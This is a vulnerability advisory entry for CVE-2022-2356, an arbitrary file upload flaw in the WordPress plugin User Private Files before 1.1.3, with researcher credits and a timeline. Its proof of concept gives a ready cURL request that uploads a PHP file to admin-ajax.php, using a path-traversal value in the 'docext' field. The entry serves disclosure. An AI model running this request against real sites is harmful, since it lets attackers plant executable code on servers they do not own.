User Private Files < 1.1.3 – Subscriber+ Arbitrary File Upload | CVE 2022-2356 | Plugin Vulnerabilities

Description

The plugin does not filter file extensions when letting users upload files on the server, which may lead to malicious code being uploaded.

Proof of Concept

1) Create a file named exploit.php, which contains: <?php phpinfo();

2) Find the upf_ajax_nonce on the site's front page.

2) Run the following cURL request, 

curl --url 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' -b 'YOUR COOKIES' -F 'docfile=@exploit.php' -F 'docext=/../../exploit.php' -F 'doc_type=doc/pdf' -F 'action=upload_doc_callback' -F 'upf_nonce=YOUR NONCE'

# You can find the uploaded PHP file at: https://target/blog/wp-content/uploads/exploit.php

Affects Plugins

user-private-files

Fixed in 1.1.3

References

CVE

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter

Verified

Yes

WPVDB ID

67f3948e-27d4-47a8-8572-616143b9cf43

Timeline

Publicly Published

2022-07-12 (about 3 years ago)

Added

2022-07-12 (about 3 years ago)

Last Updated

2023-04-15 (about 2 years ago)

Other

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2025-06-12

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2021-01-28

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2024-06-21

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2023-07-14

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